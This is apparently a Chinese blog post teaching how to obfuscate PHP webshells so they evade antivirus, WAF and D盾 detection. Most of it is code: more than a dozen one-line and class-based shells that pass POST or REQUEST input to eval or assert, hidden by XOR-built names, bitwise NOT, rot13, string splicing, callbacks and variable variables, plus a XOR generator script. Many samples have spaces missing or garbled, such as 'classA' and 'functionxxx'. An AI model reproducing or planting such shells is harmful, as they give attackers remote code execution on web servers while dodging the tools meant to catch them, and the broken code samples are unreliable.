PHP下的webshell免杀

发布时间 2023-08-20 11:39:24作者: 胧月北宸

异或免杀

大多数情况下,开发者为了方便自身的需求,会使用"黑名单"的方式扳掉许多敏感函数,来达到一个表面看上去新相对安全的一个目的,但是却不知道因为这种大意的思维会导致整个系统都处于极度危险中;攻击者以往遇见这种情况。完全可以通过加密的方法可以解决大部分的问题(eg:异或加密,base家族加密,URL加密.....)。所以我们常常会说:白名单>WAF>黑名单!

"^"为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串

<?php

$_=( '%01'^ '').( '%13'^ '').( '%13'^ '').( '%05'^ '').( '%12'^ '').( '%14'^ '');

$__= '_'.( '%0D'^ ']').( '%2F'^ '').( '%0E'^ ']').( '%09'^ ']');`

$___=$$__;

$_($___[_]);



<?php

$__=( '>'> '<')+( '>'> '<');

$_=$__/$__;

$____= '';

$___= "瞰";$____.=~($___{$_});$___= "和";$____.=~($___{$__});$___= "和";$____.=~ ($___{$__});$___= "的";$____.=~($___{$_});$___= "半";$____.=~($___{$_});$___= "始";$____.=~($___{$__});

$_____= '_';$___= "俯";$_____.=~($___{$__});$___= "瞰";$_____.=~($___{$__});$___= "次";$_____.=~($___{$_});$___= "站";$_____.=~($___{$_});

$_=$$_____;

$____($_[$__]);

 

小提示:可以通过下列的PHP异或脚本解决生成函数的问题

<?php

$test = '~!@#$%^&*_+\|/?.,-={}[]';

for($i= 0;$i<strlen($test);$i++){

for($j= 0;$j<strlen($test);$j++){

if(ord($test[$i]^$test[$j])> 64&& ord($test[$i]^$test[$j])< 91){

echo$test[$i]. '^'.$test[$j]. '结果为:';

echo$test[$i]^$test[$j];

echo'<br>';

} elseif(ord($test[$i]^$test[$j])> 97&& ord($test[$i]^$test[$j])< 122){

echo$test[$i]. '^'.$test[$j]. '结果为:';

echo$test[$i]^$test[$j];

echo'<br>';

}

}

}

?>

 

base家族加密

<?php

$a = 'd2hvYW1p';

echobase64_decode($a). '';

?>

这种方法没有什么特别的用处,但是可以尝试base16或base32与其他方法搭配使用。

 

rot13加密

<?php

$a=str_rot13( 'riny');

$a($_POST[ '110']);

?>

 


rot13对eavl函数进行加密,即"riny"(可以通过这种方式绕过函数的正则匹配)

<?php

classA{

functionxxx($a){

$b=str_rot13( '!r!i!n!y!!');

$str=explode( '!',$b)[ 5];

$str($a);}

}

$c= newA;

$c->xxx($_REQUEST[ '110']);

?>

 

拼接免杀

<?php$k= "e". "v". "a". "l"; $k(${ "_PO". "ST"} [ '110']); ?>

我们可以将敏感函数拆分,然后做一个简单的敏感函数免杀!其次也可以使用下面的arry数组结构函数进行免杀。

<?php

$a = substr_replace( "xxser", "asser", -3);

$b = array( '',$a);

$c = $b[ 1].chr( '116');

$fun=preg_replace( "/xx/", "",$c);

$d = substr_replace( "",$fun, 0);

$d ($_POST[ '110']);

?>

也就是说,我们只要把PSOT函数在用rot13加个密就可以了;或者考虑变量替换(但是根据D盾的检测来看,效果不一定会比加密好)!

 

混淆免杀

<?php

functiona

{

return"/*110110110110*/".$_POST[ '110']. "/*110110110110**/";

}

@ eval(a);

?>

 

单纯的字符串变化直接被杀的死死的,因此我们还需要配合其他无用字符去混淆视听,进而增强免杀效果!

<?php$a = str_replace(x, "", "xexaxvxlx"); $a(@$_POST[ "110"]); ?>

 

函数替换

array_map:函数基本上是将数组的每个元素发送到用户自定义的函数中进行修改或处理,然后返回一个具有该函数修改后新值的数组。

array_filter:通过函数过滤掉数组中的元素

array_reduce:发送数组中的值到用户自定义函数,并返回一个字符串

array_diff_uassoc:比较两个数组的键名和键值(使用用户自定义函数比较键名),并返回差集

array_udiff:比较两个数组的键值(使用用户自定义函数比较键值),并返回差集

array_udiff_uassoc:通过使用自定义函数比较键和值,计算数组的差集

array_intersect_assoc:比较两个数组的键名和键值,并返回交集

array_uintersect:比较两个数组的键值(使用用户自定义函数比较键值),并返回交集

array_uintersect_uassoc:比较两个数组的键名和键值(使用用户自定义函数进行比较),并返回交集

xml_set_character_data_handler:该函数规定当解析器在 XML 文件中找到字符数据时所调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 falsexml_set_default_handler:函数为 XML 解析器建立默认的数据处理器。该函数规定在只要解析器在 XML 文件中找到数据时都会调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSExml_set_external_entity_ref_handler:函数规定当解析器在 XML 文档中找到外部实体时被调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE

xml_set_notation_decl_handler:函数规定当解析器在 XML 文档中找到符号声明时被调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSExml_set_unparsed_entity_decl_handler:函数规定在遇到无法解析的实体名称(NDATA)声明时被调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false

 

 

自定义函数绕过(可搭配大小写)

<?php

functionaaa($a){

return$a;

}

functionbbb($b){

returneval($b);

}

functionpost{

return@$_POST[ '110'];

}

functionrun{

returnaaa(bbb)(aaa(post));

}

aaa(bbb)(aaa(post));

?>

我们可以通过我们自定义的函数方式,搭配php的版本和可替换函数绕过WAF的拦截,达到免杀的目的!由于在PHP函数中函数名、方法名、类名 不区分大小写,但推荐使用与定义时相同的名字的时候还可以使得大小写进行绕过,所以大大提升了免杀效果!

 

回调函数加组合绕过

array_walk

array_map

filter_var

filter_var_array

uasort

uksort

以上是常见的可待替代函数,但是大部分都被杀的死死的,所以需要混淆才可以使用!

 

数组绕过

<?php

$a = substr_replace( "evxx", "al", 2);

$b = array($arrayName = ($arrayName =($arrayName = array( 'a'=> $b($_POST[ '110'])))));

?>

 

可变变量

PHP中有一种变量叫做可变变量,这种变量不是一种基础类型的变量。可变变量是指一个普通变量的值可以作为另一个变量的名称被使用。这句话听起来有些抽象。我们可以通过实例来展示可变变量的定义以及实用。

<?php

$zeo= 'miansha';

$$zeo=$_POST[ '110'];

eval($miansha);`

?>

 

这个时候我们就可以使用一些多次加密的手段,把eval函数进行一个多次加密,已达到完全免杀的结果!

使用类绕过免杀

类现在是大多数人的常用选择之一,因为类这个方法在过D盾检测的时候效率较高;但是用类自然就少不了魔法函数,我们简单构造一个类的免杀马如下:

<?php

classzeo2

{

public$b = '';

functionpost{

return$_POST[ 'x'];

}

}

classzeoextendszeo2

{

public$code= null;

function__construct{

$code= parent::post;

assert($code);

}

}

$blll = newzeo;

$bzzz = newzeo2;

?>